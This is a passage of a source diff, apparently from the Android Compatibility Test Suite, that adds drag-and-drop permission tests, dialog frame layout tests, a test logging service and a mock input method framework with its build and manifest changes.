+            assertTargetResult(RESULT_KEY_ACCESS_AFTER, RESULT_EXCEPTION);
+        }
+        assertListenerResults(expectedListenerResults);
+    }
+
+    private void assertListenerResults(String expectedResult) throws Exception {
+        assertTargetResult(RESULT_KEY_DRAG_STARTED, expectedResult);
+        assertTargetResult(RESULT_KEY_DRAG_ENDED, expectedResult);
+        assertTargetResult(RESULT_KEY_EXTRAS, expectedResult);
+
+        assertTargetResult(RESULT_KEY_CLIP_DATA_ERROR, RESULT_MISSING);
+        assertTargetResult(RESULT_KEY_CLIP_DESCR_ERROR, RESULT_MISSING);
+        assertTargetResult(RESULT_KEY_LOCAL_STATE_ERROR, RESULT_MISSING);
+    }
+
+    private void assertSourceResult(String resultKey, String expectedResult) throws Exception {
+        assertResult(mSourceResults, resultKey, expectedResult);
+    }
+
+    private void assertTargetResult(String resultKey, String expectedResult) throws Exception {
+        assertResult(mTargetResults, resultKey, expectedResult);
+    }
+
+    private void assertResult(Map<String, String> results, String resultKey, String expectedResult)
+            throws Exception {
+        if (!supportsDragAndDrop()) {
+            return;
+        }
+
+        if (RESULT_MISSING.equals(expectedResult)) {
+            if (results.containsKey(resultKey)) {
+                fail("Unexpected " + resultKey + "=" + results.get(resultKey));
+            }
+        } else {
+            assertTrue("Missing " + resultKey, results.containsKey(resultKey));
+            assertEquals(resultKey + " result mismatch,", expectedResult,
+                    results.get(resultKey));
+        }
+    }
+
+    private boolean supportsDragAndDrop() {
+        String supportsMultiwindow = executeShellCommand("am supports-multiwindow").trim();
+        if ("true".equals(supportsMultiwindow)) {
+            return true;
+        } else if ("false".equals(supportsMultiwindow)) {
+            return false;
+        } else {
+            throw new RuntimeException(
+                    "device does not support \"am supports-multiwindow\" shell command.");
+        }
+    }
+
+    private boolean supportsSplitScreenMultiWindow() {
+        return !executeShellCommand(AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW).startsWith("false");
+    }
+
+    private boolean supportsFreeformMultiWindow() {
+        return InstrumentationRegistry.getContext()
+                .getPackageManager()
+                .hasSystemFeature(FEATURE_FREEFORM_WINDOW_MANAGEMENT);
+    }
+
+    @Test
+    public void testCancelSoon() throws Exception {
+        assertDropResult(CANCEL_SOON, REQUEST_NONE, RESULT_MISSING);
+    }
+
+    @Test
+    public void testDisallowGlobal() throws Exception {
+        assertNoGlobalDragEvents(DISALLOW_GLOBAL, RESULT_OK);
+    }
+
+    @Test
+    public void testDisallowGlobalBelowSdk24() throws Exception {
+        mTargetPackageName = TARGET_23_PACKAGE_NAME;
+        assertNoGlobalDragEvents(GRANT_NONE, RESULT_OK);
+    }
+
+    @Test
+    public void testFileUriLocal() throws Exception {
+        assertNoGlobalDragEvents(FILE_LOCAL, RESULT_OK);
+    }
+
+    @Test
+    public void testFileUriGlobal() throws Exception {
+        assertNoGlobalDragEvents(FILE_GLOBAL, RESULT_EXCEPTION);
+    }
+
+    @Test
+    public void testGrantNoneRequestNone() throws Exception {
+        assertDropResult(GRANT_NONE, REQUEST_NONE, RESULT_EXCEPTION);
+    }
+
+    @Test
+    public void testGrantNoneRequestRead() throws Exception {
+        assertDropResult(GRANT_NONE, REQUEST_READ, RESULT_NULL_DROP_PERMISSIONS);
+    }
+
+    @Test
+    public void testGrantNoneRequestWrite() throws Exception {
+        assertDropResult(GRANT_NONE, REQUEST_WRITE, RESULT_NULL_DROP_PERMISSIONS);
+    }
+
+    @Test
+    public void testGrantReadRequestNone() throws Exception {
+        assertDropResult(GRANT_READ, REQUEST_NONE, RESULT_EXCEPTION);
+    }
+
+    @Test
+    public void testGrantReadRequestRead() throws Exception {
+        assertDropResult(GRANT_READ, REQUEST_READ, RESULT_OK);
+    }
+
+    @Test
+    public void testGrantReadRequestWrite() throws Exception {
+        assertDropResult(GRANT_READ, REQUEST_WRITE, RESULT_EXCEPTION);
+    }
+
+    @Test
+    public void testGrantReadNoPrefixRequestReadNested() throws Exception {
+        assertDropResult(GRANT_READ_NOPREFIX, REQUEST_READ_NESTED, RESULT_EXCEPTION);
+    }
+
+    @Test
+    public void testGrantReadPrefixRequestReadNested() throws Exception {
+        assertDropResult(GRANT_READ_PREFIX, REQUEST_READ_NESTED, RESULT_OK);
+    }
+
+    @Test
+    public void testGrantPersistableRequestTakePersistable() throws Exception {
+        assertDropResult(GRANT_READ_PERSISTABLE, REQUEST_TAKE_PERSISTABLE, RESULT_OK);
+    }
+
+    @Test
+    public void testGrantReadRequestTakePersistable() throws Exception {
+        assertDropResult(GRANT_READ, REQUEST_TAKE_PERSISTABLE, RESULT_EXCEPTION);
+    }
+
+    @Test
+    public void testGrantWriteRequestNone() throws Exception {
+        assertDropResult(GRANT_WRITE, REQUEST_NONE, RESULT_EXCEPTION);
+    }
+
+    @Test
+    public void testGrantWriteRequestRead() throws Exception {
+        assertDropResult(GRANT_WRITE, REQUEST_READ, RESULT_EXCEPTION);
+    }
+
+    @Test
+    public void testGrantWriteRequestWrite() throws Exception {
+        assertDropResult(GRANT_WRITE, REQUEST_WRITE, RESULT_OK);
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
new file mode 100644
index 0000000..9a8f9ea
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
@@ -0,0 +1,240 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.server.am.StateLogger.logE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.graphics.Rect;
+import android.server.am.WaitForValidActivityState;
+import android.server.am.WindowManagerState.WindowState;
+
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class DialogFrameTests extends ParentChildTestBase {
+
+    private List<WindowState> mWindowList = new ArrayList();
+
+    @Override
+    String intentKey() {
+        return "android.server.FrameTestApp.DialogTestCase";
+    }
+
+    @Override
+    String activityName() {
+        return "DialogTestActivity";
+    }
+
+    WindowState getSingleWindow(String windowName) {
+        try {
+            mAmWmState.getWmState().getMatchingVisibleWindowState(
+                    getBaseWindowName() + windowName, mWindowList);
+            return mWindowList.get(0);
+        } catch (Exception e) {
+            logE("Couldn't find window: " + windowName);
+            return null;
+        }
+    }
+
+    void doSingleTest(ParentChildTest t) throws Exception {
+        final WaitForValidActivityState waitForVisible =
+                new WaitForValidActivityState.Builder("TestDialog").build();
+
+        mAmWmState.computeState(waitForVisible);
+        WindowState dialog = getSingleWindow("TestDialog");
+        WindowState parent = getSingleWindow("DialogTestActivity");
+
+        t.doTest(parent, dialog);
+    }
+
+    // With Width and Height as MATCH_PARENT we should fill
+    // the same content frame as the main activity window
+    @Test
+    public void testMatchParentDialog() throws Exception {
+        doParentChildTest("MatchParent",
+                (WindowState parent, WindowState dialog) -> {
+                    assertEquals(parent.getContentFrame(), dialog.getFrame());
+                });
+    }
+
+    // If we have LAYOUT_IN_SCREEN and LAYOUT_IN_OVERSCAN with MATCH_PARENT,
+    // we will not be constrained to the insets and so we will be the same size
+    // as the main window main frame.
+    @Test
+    public void testMatchParentDialogLayoutInOverscan() throws Exception {
+        doParentChildTest("MatchParentLayoutInOverscan",
+                (WindowState parent, WindowState dialog) -> {
+                    assertEquals(parent.getFrame(), dialog.getFrame());
+                });
+    }
+
+    static final int explicitDimension = 200;
+
+    // The default gravity for dialogs should center them.
+    @Test
+    public void testExplicitSizeDefaultGravity() throws Exception {
+        doParentChildTest("ExplicitSize",
+                (WindowState parent, WindowState dialog) -> {
+                    Rect contentFrame = parent.getContentFrame();
+                    Rect expectedFrame = new Rect(
+                            contentFrame.left + (contentFrame.width() - explicitDimension) / 2,
+                            contentFrame.top + (contentFrame.height() - explicitDimension) / 2,
+                            contentFrame.left + (contentFrame.width() + explicitDimension) / 2,
+                            contentFrame.top + (contentFrame.height() + explicitDimension) / 2);
+                    assertEquals(expectedFrame, dialog.getFrame());
+                });
+    }
+
+    @Test
+    public void testExplicitSizeTopLeftGravity() throws Exception {
+        doParentChildTest("ExplicitSizeTopLeftGravity",
+                (WindowState parent, WindowState dialog) -> {
+                    Rect contentFrame = parent.getContentFrame();
+                    Rect expectedFrame = new Rect(
+                            contentFrame.left,
+                            contentFrame.top,
+                            contentFrame.left + explicitDimension,
+                            contentFrame.top + explicitDimension);
+                    assertEquals(expectedFrame, dialog.getFrame());
+                });
+    }
+
+    @Test
+    public void testExplicitSizeBottomRightGravity() throws Exception {
+        doParentChildTest("ExplicitSizeBottomRightGravity",
+                (WindowState parent, WindowState dialog) -> {
+                    Rect contentFrame = parent.getContentFrame();
+                    Rect expectedFrame = new Rect(
+                            contentFrame.left + contentFrame.width() - explicitDimension,
+                            contentFrame.top + contentFrame.height() - explicitDimension,
+                            contentFrame.left + contentFrame.width(),
+                            contentFrame.top + contentFrame.height());
+                    assertEquals(expectedFrame, dialog.getFrame());
+                });
+    }
+
+    // TODO: Commented out for now because it doesn't work. We end up
+    // insetting the decor on the bottom. I think this is a bug
+    // probably in the default dialog flags:
+    // b/30127373
+    //    public void testOversizedDimensions() throws Exception {
+    //        doParentChildTest("OversizedDimensions",
+    //            (WindowState parent, WindowState dialog) -> {
+    // With the default flags oversize should result in clipping to
+    // parent frame.
+    //                assertEquals(parent.getContentFrame(), dialog.getFrame());
+    //         });
+    //    }
+
+
+
+    // TODO(b/63993863) : Disabled pending public API to fetch maximum surface size.
+    //static final int oversizedDimension = 5000;
+    // With FLAG_LAYOUT_NO_LIMITS  we should get the size we request, even if its much
+    // larger than the screen.
+    // @Test
+    // public void testOversizedDimensionsNoLimits() throws Exception {
+        // TODO(b/36890978): We only run this in fullscreen because of the
+        // unclear status of NO_LIMITS for non-child surfaces in MW modes
+    // doFullscreenTest("OversizedDimensionsNoLimits",
+    // (WindowState parent, WindowState dialog) -> {
+    // Rect contentFrame = parent.getContentFrame();
+    // Rect expectedFrame = new Rect(contentFrame.left, contentFrame.top,
+    // contentFrame.left + oversizedDimension,
+    // contentFrame.top + oversizedDimension);
+    // assertEquals(expectedFrame, dialog.getFrame());
+    // });
+    //}
+
+    // If we request the MATCH_PARENT and a non-zero position, we wouldn't be
+    // able to fit all of our content, so we should be adjusted to just fit the
+    // content frame.
+    @Test
+    public void testExplicitPositionMatchParent() throws Exception {
+        doParentChildTest("ExplicitPositionMatchParent",
+                (WindowState parent, WindowState dialog) -> {
+                    assertEquals(parent.getContentFrame(),
+                            dialog.getFrame());
+                });
+    }
+
+    // Unless we pass NO_LIMITS in which case our requested position should
+    // be honored.
+    @Test
+    public void testExplicitPositionMatchParentNoLimits() throws Exception {
+        final int explicitPosition = 100;
+        doParentChildTest("ExplicitPositionMatchParentNoLimits",
+                (WindowState parent, WindowState dialog) -> {
+                    Rect contentFrame = parent.getContentFrame();
+                    Rect expectedFrame = new Rect(contentFrame);
+                    expectedFrame.offset(explicitPosition, explicitPosition);
+                    assertEquals(expectedFrame, dialog.getFrame());
+                });
+    }
+
+    // We run the two focus tests fullscreen only because switching to the
+    // docked stack will strip away focus from the task anyway.
+    @Test
+    public void testDialogReceivesFocus() throws Exception {
+        doFullscreenTest("MatchParent",
+                (WindowState parent, WindowState dialog) -> {
+                    assertEquals(dialog.getName(), mAmWmState.getWmState().getFocusedWindow());
+                });
+    }
+
+    @Test
+    public void testNoFocusDialog() throws Exception {
+        doFullscreenTest("NoFocus",
+                (WindowState parent, WindowState dialog) -> {
+                    assertEquals(parent.getName(), mAmWmState.getWmState().getFocusedWindow());
+                });
+    }
+
+    @Test
+    public void testMarginsArePercentagesOfContentFrame() throws Exception {
+        float horizontalMargin = .25f;
+        float verticalMargin = .35f;
+        doParentChildTest("WithMargins",
+                (WindowState parent, WindowState dialog) -> {
+                    Rect frame = parent.getContentFrame();
+                    Rect expectedFrame = new Rect(
+                            (int) (horizontalMargin * frame.width() + frame.left),
+                            (int) (verticalMargin * frame.height() + frame.top),
+                            (int) (horizontalMargin * frame.width() + frame.left)
+                                    + explicitDimension,
+                            (int) (verticalMargin * frame.height() + frame.top)
+                                    + explicitDimension);
+                    assertEquals(expectedFrame, dialog.getFrame());
+                });
+    }
+
+    @Test
+    public void testDialogPlacedAboveParent() throws Exception {
+        doParentChildTest("MatchParent",
+                (WindowState parent, WindowState dialog) -> {
+                    // Not only should the dialog be higher, but it should be
+                    // leave multiple layers of space inbetween for DimLayers,
+                    // etc...
+                    assertTrue(dialog.getZOrder() > parent.getZOrder());
+                });
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java
new file mode 100644
index 0000000..48fe59a
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.server.am.StateLogger.log;
+
+import android.server.am.ActivityManagerTestBase;
+import android.server.am.WindowManagerState.WindowState;
+
+public abstract class ParentChildTestBase extends ActivityManagerTestBase {
+
+    private static final String COMPONENT_NAME = "android.server.FrameTestApp";
+
+    interface ParentChildTest {
+
+        void doTest(WindowState parent, WindowState child);
+    }
+
+    public void startTestCase(String testCase) throws Exception {
+        setComponentName(COMPONENT_NAME);
+        String cmd = getAmStartCmd(activityName(), intentKey(), testCase);
+        executeShellCommand(cmd);
+    }
+
+    public void startTestCaseDocked(String testCase) throws Exception {
+        startTestCase(testCase);
+        setActivityTaskWindowingMode(activityName(), WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+    }
+
+    abstract String intentKey();
+
+    abstract String activityName();
+
+    abstract void doSingleTest(ParentChildTest t) throws Exception;
+
+    void doFullscreenTest(String testCase, ParentChildTest t) throws Exception {
+        log("Running test fullscreen");
+        startTestCase(testCase);
+        doSingleTest(t);
+        stopTestCase();
+    }
+
+    void doDockedTest(String testCase, ParentChildTest t) throws Exception {
+        log("Running test docked");
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+        startTestCaseDocked(testCase);
+        doSingleTest(t);
+        stopTestCase();
+    }
+
+    void doParentChildTest(String testCase, ParentChildTest t) throws Exception {
+        doFullscreenTest(testCase, t);
+        doDockedTest(testCase, t);
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TestLogClient.java b/tests/framework/base/windowmanager/src/android/server/wm/TestLogClient.java
new file mode 100644
index 0000000..725ef09
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TestLogClient.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+
+/**
+ * A class that sends log data to {@link TestLogService}.
+ */
+public class TestLogClient {
+
+    public static final String EXTRA_LOG_TAG = "logtag";
+    public static final String EXTRA_KEY = "key";
+    public static final String EXTRA_VALUE = "value";
+
+    private static final String TEST_LOGGER_PACKAGE_NAME = "android.server.cts.wm";
+    private static final String TEST_LOGGER_SERVICE_NAME = "android.server.wm.TestLogService";
+
+    private final Context mContext;
+    private final String mLogTag;
+
+    public TestLogClient(Context context, String logtag) {
+        mContext = context;
+        mLogTag = logtag;
+    }
+
+    public void record(String key, String value) {
+        Intent intent = new Intent();
+        intent.setComponent(
+                new ComponentName(TEST_LOGGER_PACKAGE_NAME, TEST_LOGGER_SERVICE_NAME));
+        intent.putExtra(EXTRA_LOG_TAG, mLogTag);
+        intent.putExtra(EXTRA_KEY, key);
+        intent.putExtra(EXTRA_VALUE, value);
+        mContext.startService(intent);
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TestLogService.java b/tests/framework/base/windowmanager/src/android/server/wm/TestLogService.java
new file mode 100644
index 0000000..8bd5099
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TestLogService.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import android.util.Log;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ *  A service collecting data from other apps used by a test.
+ *
+ *  Use {@link TestLogClient} to send data to this service.
+ */
+public class TestLogService extends Service {
+    private static final String TAG = "TestLogService";
+
+    private static final Object mLock = new Object();
+
+    static class ClientChannel {
+        final String mStopKey;
+        final CountDownLatch mLatch = new CountDownLatch(1);
+        final Map<String, String> mResults = new HashMap<>();
+
+        ClientChannel(String stopKey) {
+            mStopKey = stopKey;
+        }
+    }
+
+    private static Map<String, ClientChannel> mChannels = new HashMap<>();
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        record(intent.getStringExtra(TestLogClient.EXTRA_LOG_TAG),
+                intent.getStringExtra(TestLogClient.EXTRA_KEY),
+                intent.getStringExtra(TestLogClient.EXTRA_VALUE));
+        return START_NOT_STICKY;
+    }
+
+    /**
+     * Prepare to receive results from a client with a specified tag.
+     *
+     * @param logtag Unique tag for the client.
+     * @param stopKey The key that signals that the client has completed all required actions.
+     */
+    public static void registerClient(String logtag, String stopKey) {
+        synchronized (mLock) {
+            if (mChannels.containsKey(logtag)) {
+                throw new IllegalArgumentException(logtag);
+            }
+            mChannels.put(logtag, new ClientChannel(stopKey));
+        }
+    }
+
+    /**
+     * Wait for the client to complete all required actions and return the results.
+     *
+     * @param logtag Unique tag for the client.
+     * @param timeoutMs Latch timeout in ms.
+     * @return The map of results from the client
+     */
+    public static Map<String, String> getResultsForClient(String logtag, int timeoutMs) {
+        Map<String, String> result = new HashMap<>();
+        CountDownLatch latch;
+        synchronized (mLock) {
+            if (!mChannels.containsKey(logtag)) {
+                return result;
+            }
+            latch = mChannels.get(logtag).mLatch;
+        }
+        try {
+            latch.await(timeoutMs, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException ignore) {
+        }
+        synchronized (mLock) {
+            for (Map.Entry<String, String> e : mChannels.get(logtag).mResults.entrySet()) {
+                result.put(e.getKey(), e.getValue());
+            }
+        }
+        return result;
+    }
+
+    private static void record(String logtag, String key, String value) {
+        synchronized (mLock) {
+            if (!mChannels.containsKey(logtag)) {
+                Log.e(TAG, "Unexpected logtag: " + logtag);
+                return;
+            }
+            ClientChannel channel = mChannels.get(logtag);
+            channel.mResults.put(key, value);
+            if (key.equals(channel.mStopKey)) {
+                channel.mLatch.countDown();
+            }
+        }
+    }
+}
diff --git a/tests/inputmethod/Android.mk b/tests/inputmethod/Android.mk
index 0c1ed5f..979ad78 100644
--- a/tests/inputmethod/Android.mk
+++ b/tests/inputmethod/Android.mk
@@ -31,7 +31,8 @@
 LOCAL_STATIC_JAVA_LIBRARIES := \
     android-support-test \
     compatibility-device-util \
-    ctstestrunner
+    ctstestrunner \
+    CtsMockInputMethod
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/inputmethod/AndroidManifest.xml b/tests/inputmethod/AndroidManifest.xml
index 11f008d..c316448 100644
--- a/tests/inputmethod/AndroidManifest.xml
+++ b/tests/inputmethod/AndroidManifest.xml
@@ -34,6 +34,33 @@
             </intent-filter>
         </activity>
 
+        <activity
+            android:name="android.view.inputmethod.cts.util.TestActivity"
+            android:label="TestActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
+        <!-- In order to test typical use cases, let this MockIME run in a separate process -->
+        <!--
+          TODO: Move this sevice definition into MockIME package and let the build system to merge
+          manifests once soong supports to build aar package.
+        -->
+        <service
+            android:name="com.android.cts.mockime.MockIme"
+            android:label="Mock IME"
+            android:permission="android.permission.BIND_INPUT_METHOD"
+            android:process=":mockime">
+            <intent-filter>
+                <action android:name="android.view.InputMethod" />
+            </intent-filter>
+            <meta-data
+                android:name="android.view.im"
+                android:resource="@xml/method" />
+        </service>
+
     </application>
 
     <instrumentation
diff --git a/tests/inputmethod/AndroidTest.xml b/tests/inputmethod/AndroidTest.xml
index b696a52..b0711fe 100644
--- a/tests/inputmethod/AndroidTest.xml
+++ b/tests/inputmethod/AndroidTest.xml
@@ -19,6 +19,12 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
+        <!--
+            TODO(yukawa): come up with a proper way to take care of devices that do not support
+            installable IMEs.  Ideally target_preparer should have an option to annotate required
+            features, e.g. android.software.input_methods so that we can conditionally install APKs
+            based on the feature supported in the target device.
+        -->
         <option name="test-file-name" value="CtsInputMethodTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/inputmethod/mockime/Android.mk b/tests/inputmethod/mockime/Android.mk
new file mode 100644
index 0000000..10f80a6
--- /dev/null
+++ b/tests/inputmethod/mockime/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsMockInputMethod
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_JAVA_LIBRARIES := junit
+LOCAL_STATIC_JAVA_LIBRARIES := \
+   android-support-annotations \
+   compatibility-device-util
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEvent.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEvent.java
new file mode 100644
index 0000000..a0dc613
--- /dev/null
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEvent.java
@@ -0,0 +1,201 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.mockime;
+
+import android.os.Bundle;
+import android.support.annotation.NonNull;
+
+/**
+ * An immutable object that stores event happened in the {@link MockIme}.
+ */
+public final class ImeEvent {
+
+    ImeEvent(@NonNull String eventName, int nestLevel, @NonNull String threadName, int threadId,
+            boolean isMainThread, long enterTimestamp, long exitTimestamp, long enterWallTime,
+            long exitWallTime, @NonNull ImeState enterState, @NonNull ImeState exitState,
+            @NonNull Bundle arguments) {
+        mEventName = eventName;
+        mNestLevel = nestLevel;
+        mThreadName = threadName;
+        mThreadId = threadId;
+        mIsMainThread = isMainThread;
+        mEnterTimestamp = enterTimestamp;
+        mExitTimestamp = exitTimestamp;
+        mEnterWallTime = enterWallTime;
+        mExitWallTime = exitWallTime;
+        mEnterState = enterState;
+        mExitState = exitState;
+        mArguments = arguments;
+    }
+
+    @NonNull
+    final Bundle toBundle() {
+        final Bundle bundle = new Bundle();
+        bundle.putString("mEventName", mEventName);
+        bundle.putInt("mNestLevel", mNestLevel);
+        bundle.putString("mThreadName", mThreadName);
+        bundle.putInt("mThreadId", mThreadId);
+        bundle.putBoolean("mIsMainThread", mIsMainThread);
+        bundle.putLong("mEnterTimestamp", mEnterTimestamp);
+        bundle.putLong("mExitTimestamp", mExitTimestamp);
+        bundle.putLong("mEnterWallTime", mEnterWallTime);
+        bundle.putLong("mExitWallTime", mExitWallTime);
+        bundle.putBundle("mEnterState", mEnterState.toBundle());
+        bundle.putBundle("mExitState", mExitState.toBundle());
+        bundle.putBundle("mArguments", mArguments);
+        return bundle;
+    }
+
+    @NonNull
+    static ImeEvent fromBundle(@NonNull Bundle bundle) {
+        final String eventName = bundle.getString("mEventName");
+        final int nestLevel = bundle.getInt("mNestLevel");
+        final String threadName = bundle.getString("mThreadName");
+        final int threadId = bundle.getInt("mThreadId");
+        final boolean isMainThread = bundle.getBoolean("mIsMainThread");
+        final long enterTimestamp = bundle.getLong("mEnterTimestamp");
+        final long exitTimestamp = bundle.getLong("mExitTimestamp");
+        final long enterWallTime = bundle.getLong("mEnterWallTime");
+        final long exitWallTime = bundle.getLong("mExitWallTime");
+        final ImeState enterState = ImeState.fromBundle(bundle.getBundle("mEnterState"));
+        final ImeState exitState = ImeState.fromBundle(bundle.getBundle("mExitState"));
+        final Bundle arguments = bundle.getBundle("mArguments");
+        return new ImeEvent(eventName, nestLevel, threadName,
+                threadId, isMainThread, enterTimestamp, exitTimestamp, enterWallTime, exitWallTime,
+                enterState, exitState, arguments);
+    }
+
+    /**
+     * Returns a string that represents the type of this event.
+     *
+     * <p>Examples: &quot;onCreate&quot;, &quot;onStartInput&quot;, ...</p>
+     *
+     * <p>TODO: Use enum type or something like that instead of raw String type.</p>
+     * @return A string that represents the type of this event.
+     */
+    @NonNull
+    public String getEventName() {
+        return mEventName;
+    }
+
+    /**
+     * Returns the nest level of this event.
+     *
+     * <p>For instance, when &quot;showSoftInput&quot; internally calls
+     * &quot;onStartInputView&quot;, the event for &quot;onStartInputView&quot; has 1 level higher
+     * nest level than &quot;showSoftInput&quot;.</p>
+     */
+    public int getNestLevel() {
+        return mNestLevel;
+    }
+
+    /**
+     * @return Name of the thread, where the event was consumed.
+     */
+    @NonNull
+    public String getThreadName() {
+        return mThreadName;
+    }
+
+    /**
+     * @return Thread ID (TID) of the thread, where the event was consumed.
+     */
+    public int getThreadId() {
+        return mThreadId;
+    }
+
+    /**
+     * @return {@code true} if the event was being consumed in the main thread.
+     */
+    public boolean isMainThread() {
+        return mIsMainThread;
+    }
+
+    /**
+     * @return Monotonic time measured by {@link android.os.SystemClock#elapsedRealtimeNanos()} when
+     *         the corresponding event handler was called back.
+     */
+    public long getEnterTimestamp() {
+        return mEnterTimestamp;
+    }
+
+    /**
+     * @return Monotonic time measured by {@link android.os.SystemClock#elapsedRealtimeNanos()} when
+     *         the corresponding event handler finished.
+     */
+    public long getExitTimestamp() {
+        return mExitTimestamp;
+    }
+
+    /**
+     * @return Wall-clock time measured by {@link System#currentTimeMillis()} when the corresponding
+     *         event handler was called back.
+     */
+    public long getEnterWallTime() {
+        return mEnterWallTime;
+    }
+
+    /**
+     * @return Wall-clock time measured by {@link System#currentTimeMillis()} when the corresponding
+     *         event handler finished.
+     */
+    public long getExitWallTime() {
+        return mExitWallTime;
+    }
+
+    /**
+     * @return IME state snapshot taken when the corresponding event handler was called back.
+     */
+    @NonNull
+    public ImeState getEnterState() {
+        return mEnterState;
+    }
+
+    /**
+     * @return IME state snapshot taken when the corresponding event handler finished.
+     */
+    @NonNull
+    public ImeState getExitState() {
+        return mExitState;
+    }
+
+    /**
+     * @return {@link Bundle} that stores parameters passed to the corresponding event handler.
+     */
+    @NonNull
+    public Bundle getArguments() {
+        return mArguments;
+    }
+
+    @NonNull
+    private final String mEventName;
+    private final int mNestLevel;
+    @NonNull
+    private final String mThreadName;
